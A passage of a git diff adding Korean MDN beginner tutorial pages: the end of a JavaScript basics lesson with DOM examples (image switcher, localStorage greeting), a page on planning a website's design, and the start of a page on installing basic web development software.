+   <td>문자열로도 알려진 일련의 텍스트. 그 값이 문자열이라는 것을 나타내기 위해서는 인용부호로 둘러싸야 합니다.</td>
+   <td><code>let myVariable = 'Bob';</code></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Number")}}</th>
+   <td>숫자. 숫자는 인용부호를 사용하지 않습니다.</td>
+   <td><code>let myVariable = 10;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Boolean")}}</th>
+   <td>참/거짓 값. <code>true</code>와 <code>false</code>라는 단어는 JS의 특별한 키워드이며, 인용부호가 필요 없습니다.</td>
+   <td><code>let myVariable = true;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Array")}}</th>
+   <td>여러 값을 하나의 단일 참조(single reference)에 저장할 수 있도록 해주는 구조</td>
+   <td><code>let myVariable = [1,'Bob','Steve',10];</code><br>
+    해당 배열의 각 멤버는 다음과 같이 참조할 수 있습니다: <code>myVariable[0]</code>, <code>myVariable[1]</code>, etc.</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Object")}}</th>
+   <td>기본적으로, 무엇이든. 자바스크립트의 모든 것은 객체(object)이며 어떤 변수에 저장될 수 있습니다. 학습하는 동안 이 점을 기억하세요.</td>
+   <td><code>let myVariable = document.querySelector('h1');</code><br>
+    위의 모든 예시도 마찬가지입니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>그러면 변수가 왜 필요할까요? 글쎄요, 변수는 프로그래밍에서 흥미로운 어떤 일을 하기 위해 필요합니다. 만약 값이 바뀔 수 없다면, 개인별 맞춤 인사 메시지나 이미지 갤러리에 표시되는 이미지를 바꾼다든지 하는 동적인 일을 할 수 없습니다.</p>
+
+<h3 id="주석">주석</h3>
+
+<p>CSS에서 했던 것처럼 자바스크립트 코드 안에 주석을 넣을 수 있습니다:</p>
+
+<pre class="brush: js">/*
+사이에 있는 모든 것은 주석입니다.
+*/</pre>
+
+<p>줄바꿈을 할 필요가 없는 주석이라면, 두 개의 슬래시 뒤에 주석을 놓는 것이 더 쉽습니다:</p>
+
+<pre class="brush: js" style="font-size: 14px;">// 이것은 주석입니다
+</pre>
+
+<h3 id="연산자">연산자</h3>
+
+<p><code>{{Glossary("operator")}}</code>는 두 값(또는 변수)로부터 결과를 만들어내는 수학 기호입니다. 다음 테이블에서 가장 간단한 연산자 몇 개와 자바스크립트 콘솔(console)에서 실행해 볼 수 있는 예제 몇 개를 같이 볼 수 있습니다.</p>
+
+<table class="standard-table" style="height: 755px; width: 852px;">
+ <thead>
+  <tr>
+   <th scope="row">연산자</th>
+   <th scope="col">설명</th>
+   <th scope="col">기호</th>
+   <th scope="col">예시</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">더하기</th>
+   <td>
+    <p>두 수를 합치거나, 또는 두 문자열을 하나로<br>
+     붙일 때 사용합니다.</p>
+   </td>
+   <td><code>+</code></td>
+   <td><code>6 + 9;<br>
+    "Hello " + "world!";</code></td>
+  </tr>
+  <tr>
+   <th scope="row">
+    <p>빼기,<br>
+     곱하기,<br>
+     나누기                   </p>
+   </th>
+   <td>예상하는 바와 같이 기초수학에서 하는 것과<br>
+    동일하게 동작합니다.</td>
+   <td><code>-</code>, <code>*</code>, <code>/</code></td>
+   <td><code>9 - 3;<br>
+    8 * 2; // JS 에서의 곱하기는 별표입니다<br>
+    9 / 3;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">할당</th>
+   <td>이것에 대해서는 이미 보았습니다: 값을 어떤 변수에 할당합니다.</td>
+   <td><code>=</code></td>
+   <td><code>let myVariable = 'Bob';</code></td>
+  </tr>
+  <tr>
+   <th scope="row">동등</th>
+   <td>두 값이 서로 같은지 테스트하여  <code>true</code>/<code>false</code><br>
+    (불리언) 결과를 반환합니다.</td>
+   <td><code>===</code></td>
+   <td><code>let myVariable = 3;<br>
+    myVariable === 4;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">부정,<br>
+    다름</th>
+   <td>연산자 뒤쪽의 값에 대해 논리적으로 반대인 값을 반환합니다;<code>true</code>를 <code>false</code>로 바꾸는 등.<br>
+    동등 연산자와 함께 사용할 경우 부정 연산자는 두 값이 같지 않은지 여부를 테스트합니다.</td>
+   <td><code>!</code>, <code>!==</code></td>
+   <td>
+    <p>기본 표현은 <code>true</code>이지만 비교는 <code>false</code>를 반환합니다 왜냐하면 우리가 이것을 부정했기 때문입니다:</p>
+
+    <p><code>let myVariable = 3;<br>
+     !(myVariable === 3);</code></p>
+
+    <p>여기서 테스트하고 있는 것은 "<code>myVariable</code>이 3 과 같지 않은가"입니다. 이것은 <code>false</code>를 반환하는데, <code>myVariable</code>이 3 과 같기 때문입니다.</p>
+
+    <p><code>let myVariable = 3;</code><br>
+     <code>myVariable !== 3;</code></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>살펴볼 연산자가 더 많이 있지만, 지금은 이것으로 충분합니다. 연산자에 대한 완전한 리스트는 <a href="/ko/docs/Web/JavaScript/Reference/Operators">표현식과 연산자</a>에서 확인해보세요.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 계산을 수행할 때 자료형이 섞이게 되면 이상한 결과를 불러올 수 있으므로, 변수를 올바르게 참조해 예상하는 결과를 얻을 수 있게 주의해야 합니다. 예를 들어 <code>"35" + "25"</code>를 콘솔에 입력해 보세요. 왜 예상한 결과를 얻을 수 없을까요? 인용부호가 숫자를 문자열로 변경하였고, 숫자를 더하는 대신에 문자열을 붙인 결과를 얻습니다. <code>35 + 25</code>를 입력한다면, 올바른 결과를 얻을 것입니다.</p>
+</div>
+
+<h3 id="조건문">조건문</h3>
+
+<p>조건문은 어떤 표현식(expression)이 참인지 아닌지를 테스트하고 그 결과에 따라 선택적으로 코드를 실행할 수 있도록 하는 코드 구조입니다. 가장 일반적인 조건문의 형태는 <code>if ... else</code> 문입니다. 예를 들어:</p>
+
+<pre class="brush: js">let iceCream = 'chocolate';
+if (iceCream === 'chocolate') {
+  alert('Yay, I love chocolate ice cream!');
+} else {
+  alert('Awwww, but chocolate is my favorite...');
+}</pre>
+
+<p><code>if ( ... )</code> 안의 표현식은 테스트입니다 — 여기서는 (위에서 설명한 바와 같이)일치 연산자(identity operator)를 사용하여 변수 <code>iceCream</code>과 문자열 <code>chocolate</code>이 같은지를 비교합니다. 이 비교에서 <code>true</code>가 반환되면 코드의 첫 번째 블록이 실행됩니다. 이 비교가 참(true)가 아닌 경우에는 첫 번째 블록을 건너뛰고 <code>else</code>문 뒤에 있는 두 번째 코드 블록이 대신 실행됩니다.</p>
+
+<h3 id="함수">함수</h3>
+
+<p>{{Glossary("Function", "Functions")}}는 재사용하기를 원하는 기능을 담는 방법입니다. 그 절차(재사용 기능)가 필요할 때 매 번 전체 코드를 다시 작성하는 대신 함수의 이름으로 그 함수를 호출할 수 있습니다. 위에서 이미 몇 가지 함수의 사용법을 봤는데, 예를 들면:</p>
+
+<ol>
+ <li>
+  <pre class="brush: js">let myVariable = document.querySelector('h1');</pre>
+ </li>
+ <li>
+  <pre class="brush: js">alert('hello!');</pre>
+ </li>
+</ol>
+
+<p>이 함수들, <code>document.querySelector</code>와 <code>alert</code>는 언제든지 사용할 수 있게 브라우저에 내장되어 있습니다.</p>
+
+<p>변수 이름처럼 보이지만 그 뒤에 괄호 — <code>()</code> — 가 있다면 그것은 함수일 것입니다. 함수는 보통 인수({{Glossary("Argument", "arguments")}}) — 함수가 작동하는데 필요한 일련의 데이터 — 를 가집니다. 인수는 괄호 안으로 들어가고, 하나 이상의 인수가 있다면 콤마로 구분됩니다.</p>
+
+<p>예를 들면, <code>alert()</code> 함수는 브라우저 창에서 팝업창을 만들지만, 그 함수가 그 팝업창에 표시할 문자열을 인자로 주어야 합니다.</p>
+
+<p>좋은 소식은 여러분 자신만의 함수를 정의할 수 있다는 것입니다 — 다음 예제에서 두 수를 인수로 가지고 그것을 곱하는 간단한 함수를 작성합니다:</p>
+
+<pre class="brush: js">function multiply(num1,num2) {
+  let result = num1 * num2;
+  return result;
+}</pre>
+
+<p>콘솔에서 위 함수를 실행해보고 여러 인수로 테스트해보세요. 가령:</p>
+
+<pre class="brush: js">multiply(4,7);
+multiply(20,20);
+multiply(0.5,3);</pre>
+
+<div class="note">
+<p><strong>참고</strong>: <a href="/ko/docs/Web/JavaScript/Reference/Statements/return"><code>return</code></a> 문은 브라우저에게 함수로부터 나오는 <code>result</code> 변수를 반환하게 함으로써 그 변수를 사용할 수 있게 합니다. 이것은 필수적인 것으로 함수 안에서 정의된 변수는 오직 그 함수 내부에서만 사용 가능하기 때문입니다. 이것을 변수 {{Glossary("Scope", "scoping")}}이라고 합니다. (<a href="/ko/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variable_scope">변수 영역에 대한 더 많은 것</a> 을 여기서 읽어보세요.)</p>
+</div>
+
+<h3 id="이벤트">이벤트</h3>
+
+<p>웹사이트의 실질적인 상호작용에는 이벤트가 필요합니다. 이벤트는 브라우저에서 발생하는 일을 듣고 그에 대한 반응으로 코드를 실행하는 코드 구조입니다. 가장 확실한 예는 마우스로 무언가를 클릭하면 브라우저가 발생시키는 <a href="/ko/docs/Web/Events/click">클릭 이벤트</a>입니다. 이를 시연하려면 콘솔에 다음 코드를 입력한 후 현재 웹페이지를 클릭해보시기 바랍니다:</p>
+
+<pre class="brush: js">document.querySelector('html').onclick = function() {
+    alert('Ouch! Stop poking me!');
+}</pre>
+
+<p>요소에 이벤트를 붙이는 방법은 많습니다. 여기서 HTML 요소를 선택하고 그 요소의 <code><a href="/ko/docs/Web/API/GlobalEventHandlers.onclick">onclick</a></code> 핸들러 프로퍼티에 클릭 이벤트가 실행할 코드를 갖고 있는 익명(anonymous) 함수를 할당합니다.</p>
+
+<p>유의하세요. 다음은</p>
+
+<pre class="brush: js">document.querySelector('html').onclick = function() {};</pre>
+
+<p>다음과 같습니다.</p>
+
+<pre class="brush: js">let myHTML = document.querySelector('html');
+myHTML.onclick = function() {};</pre>
+
+<p>단지 짧을 뿐입니다.</p>
+
+<h2 id="예시_웹사이트_확장하기">예시 웹사이트 확장하기</h2>
+
+<p>지금까지 자바스크립트의 기본 중 몇 가지를 살펴보았으니 우리가 작성한 예제 사이트에 적용 가능한 몇 가지 멋진 기능을 추가해 봅시다.</p>
+
+<h3 id="이미지_변경자_추가하기">이미지 변경자 추가하기</h3>
+
+<p>이 섹션에서는 DOM API 특징을 몇 가지 더 사용해 이미지를 하나 더 추가하고, 이미지가 클릭될 때 자바스크립트를 이용해 두 이미지 사이에 전환이 이루어지도록 해보겠습니다.</p>
+
+<ol>
+ <li>맨 먼저, 사이트에 나타내길 원하는 다른 이미지를 찾으세요. 처음 이미지와 같은 사이즈 또는 가능하면 비슷한 크기여야 합니다.</li>
+ <li><code>images</code> 폴더에 이미지를 저장하세요.</li>
+ <li>이미지 이름을 'firefox2.png'(인용부호 없이)로 바꾸세요.</li>
+ <li><code>main.js</code> 파일로 가서, 다음 자바스크립트를 입력하세요 (만약 "Hello world" 자바스크립트가 있다면, 지우세요):
+  <pre class="brush: js">let myImage = document.querySelector('img');
+
+myImage.onclick = function() {
+    let mySrc = myImage.getAttribute('src');
+    if(mySrc === 'images/firefox-icon.png') {
+      myImage.setAttribute ('src','images/firefox2.png');
+    } else {
+      myImage.setAttribute ('src','images/firefox-icon.png');
+    }
+}</pre>
+ </li>
+ <li>모든 파일을 저장하고 브라우저에서 <code>index.html</code>을 불러오세요. 이제 여러분이 이미지를 클릭할 때 이미지가 다른 이미지로 바뀔 것입니다!</li>
+</ol>
+
+<p><code>myImage</code> 변수에 {{htmlelement("image")}} 요소에 대한 참조를 저장합니다. 다음으로 이 변수의 <code>onclick</code> 이벤트 핸들러 프로퍼티에 이름이 없는 함수("익명" 함수)를 할당합니다. 이제, 매번 이미지 요소가 클릭될 때:</p>
+
+<ol>
+ <li>이미지의 <code>src</code>  속성 값을 얻습니다.</li>
+ <li><code>src</code> 값이 원래 이미지 경로와 같은지 확인하기 위해 조건문을 사용합니다:
+  <ol>
+   <li>만약 같다면, <code>src</code>  값을 두 번째 이미지 경로로 변경하여 다른 이미지가 {{htmlelement("image")}} 요소 안에 로드되도록 합니다.</li>
+   <li>같지 않다면(이미 변경되었다는 것을 의미), 원래 상태로 되돌리기 위해 <code>src</code> 값을 원래 이미지 경로 바꿔 놓습니다.</li>
+  </ol>
+ </li>
+</ol>
+
+<h3 id="개인화된_환영_메시지_추가하기">개인화된 환영 메시지 추가하기</h3>
+
+<p>다음으로는 다른 코드를 약간 추가할 것인데, 이 코드는 사용자가 처음으로 사이트에 방문했을 때 페이지의 제목을 개인화된 환영 메시지로 바꾸는 것입니다. 이 환영 메시지는 해당 사용자가 사이트를 떠났다가 돌아오더라도 계속 유지될 것입니다 — 이 메시지를 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API">웹 저장소 API(Web Storage API)</a>를 이용해 저장할 것입니다. 사용자를 변경할 수 있는 옵션도 추가하여 언제든지 필요할 때 환영 메시지를 나타나도록 할 것입니다.</p>
+
+<ol>
+ <li><code>index.html</code> 내의 {{htmlelement("script")}} 요소 바로 앞에 다음 줄을 추가하세요:
+
+  <pre class="brush: html">&lt;button&gt;Change user&lt;/button&gt;</pre>
+ </li>
+ <li><code>main.js</code> 파일의 맨 마지막에 다음 두 줄을 똑같이 추가하세요 — 이 코드는 새로 추가된 버튼과 본문 제목에 대한 참조를 가져와 변수에 저장하는 것입니다:
+  <pre class="brush: js">let myButton = document.querySelector('button');
+let myHeading = document.querySelector('h1');</pre>
+ </li>
+ <li>다음으로 개인화된 인삿말을 설정하기 위해 다음 함수를 추가합니다 — 아직 아무 동작도 하지않지만 좀 이따가 고칠겁니다:
+  <pre class="brush: js">function setUserName() {
+  let myName = prompt('Please enter your name.');
+  localStorage.setItem('name', myName);
+  myHeading.textContent = 'Mozilla is cool, ' + myName;
+}</pre>
+  이 함수는 <code>alert()</code>와 약간 닮은 대화상자를 불러오는 <code><a href="/ko/docs/Web/API/Window.prompt">prompt()</a> </code>함수를 포함하고 있습니다. <code>prompt()</code>는 사용자에게 어떤 데이터를 입력하길 요청하고, 사용자가<code> </code><em>OK </em>를 누른 후에 그 값을 변수에 저장합니다. 이 예시에서는, 사용자에게 그들의 이름을 입력하길 요청하고 있습니다. 다음으로, 브라우저에 데이터를 저장하고 나중에 불러올 수 있도록 해주는 <code>localStorage</code>라는 API 를 부릅니다. 우리는 <code>'name'</code> 라는 데이터 항목을 생성하고 저장하기 위해 localStorage 의 <code>setItem()</code>함수를 사용합니다. 그리고 사용자가 입력한 이름을 포함하는 그 값을 <code>myName</code>  변수에 저장합니다. 마지막으로, 헤딩의 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">textContent</span></font>를 유저의 이름을 포함한 스트링으로 설정합니다.</li>
+ <li>다음으로, 이 <code>if ... else</code> 문을 추가합니다 — 처음 불려질 때 앱이 셋업되도록 이 초기화 코드를 불러옵니다:
+  <pre class="brush: js">if(!localStorage.getItem('name')) {
+  setUserName();
+} else {
+  let storedName = localStorage.getItem('name');
+  myHeading.textContent = 'Mozilla is cool, ' + storedName;
+}</pre>
+  이 구문은 먼저 <code>name </code>데이터 아이템이 존재하는지 확인하기 위해 부정 연산자 (논리적 NOT, !로 표현되는) 를 사용합니다. 존재하지 않는다면 값을 생성하기 위해 <code>setUserName()</code> 함수를 실행합니다. 존재한다면 (예로, 이전 방문을 통해 사용자가 세팅되었음), 우리는 <code>getItem() </code>을 사용해 저장된 이름 값을 얻고, 헤딩의 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">textContent</span></font>  을 <code>setUserName()</code> 안에서 작업한 것과 같은 사용자의 이름을 포함한 문자열로 세팅합니다.</li>
+ <li>마지막으로, 아래의 <code>onclick</code> 이벤트 핸들러를 버튼에 추가해서, 클릭될 때 <code>setUserName()</code> 함수가 실행되도록 합니다. 이것은 버튼을 누름으로 인해 유저가 원하는 새 이름을 설정할 수 있도록 해줍니다.
+  <pre class="brush: js">myButton.onclick = function() {
+  setUserName();
+}
+</pre>
+ </li>
+</ol>
+
+<p>이제 여러분이 사이트에 처음으로 방문했을 때, 개인화된 메시지를 제공하기 위해 여러분의 이름을 물을 것입니다. 그리고 언제든 버튼을 누름으로 여러분이 원하는 이름으로 변경할 수 있습니다. 추가 선물로써, 이름은 <code>localStorage</code> 에 저장되기 때문에, 사이트가 닫힌 이후에도 이름이 유지됩니다. 그래서 개인화된 메시지는 여러분이 사이트를 다시 열었을 때 그대로 남아있을 것입니다!</p>
+
+<h3 id="사용자_이름이_null">사용자 이름이 null?</h3>
+
+<p>예제를 실행 시키고 바로 나타나는 다이얼로그 상자에 당신의 이름을 입력하고<em>Cancel</em> 버튼을 눌러보세요. "Mozilla is cool, null"라는 제목을 보게될 것입니다. 이것은 사용자가 입력을 취소했을 때 값이, 원래 Javascript가 값이 없음을 표현하는 특별한 값인 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code>로 설정되기 때문입니다.</p>
+
+<p>또한, 어떠한 이름도 기입하지 않고 OK를 눌러보세요. — 꽤 분명한 이유로 "Mozilla is cool,"라는 제목을 보게될 것입니다.</p>
+
+<p>이러한 문제들을 피하고 싶다면, <code>setUserName()</code> 함수를 수정함으로써 사용자가 null 또는 공백 이름을 입력하지 않았는지 체크해야 합니다. 이와 같이:</p>
+
+<pre class="brush: js">function setUserName() {
+  let myName = prompt('Please enter your name.');
+  if(!myName || myName === null) {
+    setUserName();
+  } else {
+    localStorage.setItem('name', myName);
+    myHeading.innerHTML = 'Mozilla is cool, ' + myName;
+  }
+}</pre>
+
+<p>해석하자면 — <code>myName</code>에 할당된 값이 없거나 null일 때, <code>setUserName()</code>함수를 처음부터 다시 실행합니다. 값이 있으면(위의 if 조건이 not true일 때) <code>localStorage</code>에 값을 저장하고 헤딩의 텍스트에 값을 설정합니다.</p>
+
+<h2 id="마무리">마무리</h2>
+
+<p>이 글의 모든 설명을 따라오셨다면, 이와 같이 보이는 페이지가 되실 겁니다. (<a class="external-icon external" href="https://mdn.github.io/beginner-html-site-scripted/">여기서</a> 확인하실 수도 있습니다):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9539/website-screen-scripted.png" style="display: block; height: 995px; margin: 0px auto; width: 800px;"></p>
+
+<p>혹시 막히셨다면, 여러분의 코드와 Github에 있는 우리의 <a class="external external-icon" href="https://github.com/mdn/beginner-html-site-scripted/blob/gh-pages/scripts/main.js">예제 코드</a>와 항상 비교해보세요.</p>
+
+<p>여기서, 우리는 자바스크립트의 겉을 살짝 맛봤습니다. 즐겁게 배우셨고, 더 깊게 학습하고 싶으시다면, <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript">JavaScript 안내서</a> 페이지로 가보세요.</p>
+
+<p>{{PreviousNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website")}}</p>
diff --git a/files/ko/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/ko/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html
new file mode 100644
index 0000000000..a311b1912f
--- /dev/null
+++ b/files/ko/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html
@@ -0,0 +1,95 @@
+---
+title: 웹사이트의 외관은 어떻게 할까요?
+slug: Learn/Getting_started_with_the_web/What_will_your_website_look_like
+tags:
+  - Beginner
+  - Learn
+  - 'l10n:priority'
+translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p><em>웹사이트의 외관은 어떻게 할까요?</em> 에서는 "나의 웹사이트가 무슨 정보를 제공할 것인지?" "무슨 글꼴과 색상을 사용할 것인지?" "나의 웹사이트가 무엇을 하는지?" 를 포함해, 코드를 작성하기 <em>전에 </em>여러분이 해야할 계획 세우기와 디자인에 대해 이야기 할 것입니다.</p>
+</div>
+
+<h2 id="중요한것_먼저_하기_계획_세우기">중요한것 먼저 하기: 계획 세우기</h2>
+
+<p>무언가를 하기 전에, 여러분은 어떤 아이디어가 필요합니다. 웹사이트가 실제로 무엇을 해야하는지? 웹사이트가 기본적으로 무엇을 할 수 있는지, 하지만 여러분의 첫 시도를 위해선 이것을 간단히 할 필요가 있습니다. 우리는 제목과 사진, 그리고 몇 개의 문단을 포함한 간단한 웹페이지를 제작하는 것부터 시작할 것입니다.</p>
+
+<p>시작하기 위해, 여러분은 몇 가지 질문에 답해야 합니다.</p>
+
+<ol>
+ <li><strong>여러분의 웹사이트는 무엇에 관한 것인가요? </strong>강아지나 뉴욕, 또는 팩맨 좋아하세요?</li>
+ <li><strong>주제에 대해 어떤 정보를 나타낼 것인가요? </strong>여러분의 웹페이지에 나타내기 원하는 제목과 몇개의 문단들, 그리고 그림에 대한 생각을 작성하세요.</li>
+ <li><strong>웹사이트의 외관은 어떻게 할까요, </strong>in simple high-level terms. 배경색은 무엇으로 할 것인지?어떤 글꼴(폰트)이 적합한지: 딱딱하게, 만화스럽게, 굵고 크게, 얇게?</li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: 복잡한 프로젝트들은 색상, 글꼴, 페이지의 항목간 공간, 적절한 문체 등 세부적인 가이드라인을 필요로 합니다. 이것은 디자인 가이드 또는 브랜드 북이라고 불리기도 합니다. <a href="https://www.mozilla.org/en-US/styleguide/products/firefox-os/">파이어폭스 OS 가이드라인</a><em>에서 그 예시를 볼 수 있습니다.</em>.</p>
+</div>
+
+<h2 id="디자인을_스케치하기">디자인을 스케치하기</h2>
+
+<p>다음으로, 펜과 종이를 가져와 여러분의 사이트가 어떻게 나타날 것인지 대략적으로 스케치하세요. 여러분의 첫 번째 간단한 웹페이지를 위해선, 과도한 스케치는 필요 없지만, 지금 습관으로 만드는게 좋습니다. 정말 도움이 됩니다--반 고흐가 될 필요는 없습니다!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9239/website-drawing-scan.png" style="display: block; height: 460px; margin: 0px auto; width: 640px;"></p>
+
+<div class="note">
+<p><strong>노트</strong>: 실제로도, 복잡한 웹사이트들에서, 디자인팀은 보통 종이에 대략적인 스케치를 하는 것으로 일을 시작합니다. 그리고 이후에 시각적인 편집기나 웹 기술을 사용해 디지털 모형화 합니다.</p>
+
+<p>웹 팀들은 그래픽 디자이너와 사용자 경험 (UX) 디자이너 모두와 일합니다. 그래픽 디자이너들은, 분명히, 웹사이트의 시각적인 것들을 합칩니다. UX 디자이너는 사용자들이 웹사이트를 어떻게 경험하고 반응하는지에 대한 무언가 더 추상적인 것을 합니다.</p>
+</div>
+
+<h2 id="자원_선택하기">자원 선택하기</h2>
+
+<p>여기에서, 여러분의 웹페이지에 최종적으로 나타나게될 내용을 합치는 것을 시작하기에 좋습니다.</p>
+
+<h3 id="문자">문자</h3>
+
+<p>여러분은 제목이나 문단들을 일찍 작성해야 합니다. 항상 신경쓰는것이 좋습니다.</p>
+
+<h3 id="주요_색상">주요 색상</h3>
+
+<p>색상을 선택하기 위해, <a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Colors/Color_picker_tool">the Color Picker</a>로 가서 여러분이 원하는 색을 찾아보세요. 한 색을 선택하면, 여러분은 #660066같은 여섯 문자의 이상한 코드를 보게 될 것입니다. 이것은 <em>hex(adecimal) </em>코드로 불리고, 여러분의 색을 나타냅니다. 안전한 어느 곳에 복사해두세요.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8975/Screenshot%20from%202014-11-03%2017:40:49.png" style="height: 262px; width: 448px;"></p>
+
+<h3 id="그림들">그림들</h3>
+
+<p>그림을 선택하기 위해, <a href="https://www.google.com/imghp?gws_rd=ssl">Google Images</a>에 가서 적합한 것을 찾아보세요.</p>
+
+<ol>
+ <li>원하는 그림을 찾으면, 이미지를 클릭하세요.</li>
+ <li><em>이미지 보기(View image)</em>버튼을 누르세요.</li>
+ <li>다음 페이지에서, 이미지를 우클릭하고 (맥에서는 Ctrl + click), <em>다른 이름으로 이미지 저장(Save Image As...)</em>를 누르고, 이미지를 저장할 안전한 공간을 선택하세요. 다른 방법으로는, 나중에 사용하기 위해 여러분의 웹 브라우저의 주소에서 이미지의 웹 주소를 복사하는 것이 있습니다.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8985/Screenshot%20from%202014-11-04%2015:09:21.png" style="height: 293px; width: 420px;"></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8989/Screenshot%20from%202014-11-04%2015:20:48.png" style="height: 292px; width: 340px;"></p>
+
+<div class="note">
+<p><strong>노트</strong>: Google Images를 포함한, 웹에 있는 대부분의 그림들은 저작권이 있습니다. 저작권 침해의 가능성을 줄이기 위해선, Google's license filter를 사용하는 방법이 있습니다. 1) 검색 도구(<strong>Search tools)</strong>를 클릭하고, 2) 사용 권한(<strong>Usage rights)</strong>를 선택하면 됩니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8981/Screenshot%20from%202014-11-04%2014:27:45.png" style="height: 195px; width: 587px;"></p>
+</div>
+
+<h3 id="글꼴">글꼴</h3>
+
+<p>글꼴을 선택하기 위해:</p>
+
+<ol>
+ <li><a href="http://www.google.com/fonts">Google Fonts</a>에 가서 원하는 것을 찾을 때까지 스크롤을 내리세요. 결과에 대한 필터를 위해선 왼쪽 메뉴를 사용하면 됩니다.</li>
+ <li>원하는 폰트의 옆에 있는 <em>Add to collection</em> 버튼을 클릭하세요.</li>
+ <li>페이지의 아래에 있는 <em>Use</em> 버튼을 클릭하세요.</li>
+ <li>다음 페이지에서, 3 과 4 구역으로 스크롤을 내리고, 구글에서 제공한 코드를 여러분의 텍스트 편집기에 복사하고 나중을 위해 저장하세요.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8991/Screenshot%20from%202014-11-04%2015:38:14.png" style="height: 282px; width: 525px;"></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8993/Screenshot%20from%202014-11-04%2015:51:36.png" style="height: 379px; width: 530px;"></p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/ko/learn/getting_started_with_the_web/기본_소프트웨어_설치하기/index.html b/files/ko/learn/getting_started_with_the_web/기본_소프트웨어_설치하기/index.html
new file mode 100644
index 0000000000..58ec16a8d9
--- /dev/null
+++ b/files/ko/learn/getting_started_with_the_web/기본_소프트웨어_설치하기/index.html
@@ -0,0 +1,75 @@
+---
+title: 기본 소프트웨어 설치하기
+slug: Learn/Getting_started_with_the_web/기본_소프트웨어_설치하기
+tags:
+  - Beginner
+  - Browser
+  - Learn
+  - Setup
+  - Tools
+  - WebMechanics
+  - 'l10n:priority'
+translation_of: Learn/Getting_started_with_the_web/Installing_basic_software
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>기본 소프트웨어 설치하기에서는 간단한 웹 개발을 하기 위해 어떤 도구가 필요하고, 어떻게 설치할 수 있는지 보여드립니다.</p>
+</div>
+
+<h2 id="전문가들이_사용하는_도구는_뭔가요">전문가들이 사용하는 도구는 뭔가요?</h2>
+
+<ul>
+ <li><strong>컴퓨터</strong>. 당연한 얘기로 들리겠지만, 여러분 중 누군가는 이 글을 휴대폰이나 도서관의 컴퓨터로 읽고 계실겁니다. 진지한 웹 개발을 위해서는 데스크탑 컴퓨터(윈도우, 맥, 또는 리눅스)에 투자하는것이 좋습니다.</li>
+ <li>코드 작성을 위한 <strong>텍스트 편집기</strong>. 순수 텍스트 편집기(<a href="https://www.sublimetext.com/">Sublime</a>, <a href="http://brackets.io/">Brackets</a>, <a href="https://atom.io/">Atom</a>, <a href="https://code.visualstudio.com/">Visual Studio Code</a> 등) 또는 하이브리드 편집기(<a href="https://www.adobe.com/products/dreamweaver.html">Dreamweaver</a>, <a href="https://www.jetbrains.com/webstorm/">WebStorm</a> 등)를 사용하시면 됩니다. 사무용 문서 편집기는 웹 브라우저의 렌더링 엔진을 방해하는 숨겨진 요소를 사용하기 때문에 코드 작성 용도로는 적합하지 않습니다.</li>
+ <li>코드를 테스트하기 위한 <strong>웹 브라우저</strong>. 현재 가장 널리 사용되는 브라우저로는 <a href="https://www.mozilla.org/ko/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/kr/safari/">Safari</a>, <a href="https://support.microsoft.com/ko-kr/help/17621/internet-explorer-downloads">Internet Explorer</a>, 그리고 <a href="https://www.microsoft.com/ko-kr/windows/microsoft-edge">Microsoft Edge</a>가 있습니다. 또, 여러분의 웹 사이트가 휴대용 장치와 오래된 브라우저(IE 8~10 등)에서는 어떻게 동작하는지도 시험해보셔야 합니다.</li>
+ <li>웹 페이지를 위한 이미지를 만들 수 있는 <strong>이미지 편집기.</strong> <a href="http://www.gimp.org/">GIMP</a>, <a href="http://www.getpaint.net/">Paint.NET</a>, <a href="https://www.adobe.com/kr/products/photoshop.html">Photoshop</a> 등이 있습니다.</li>
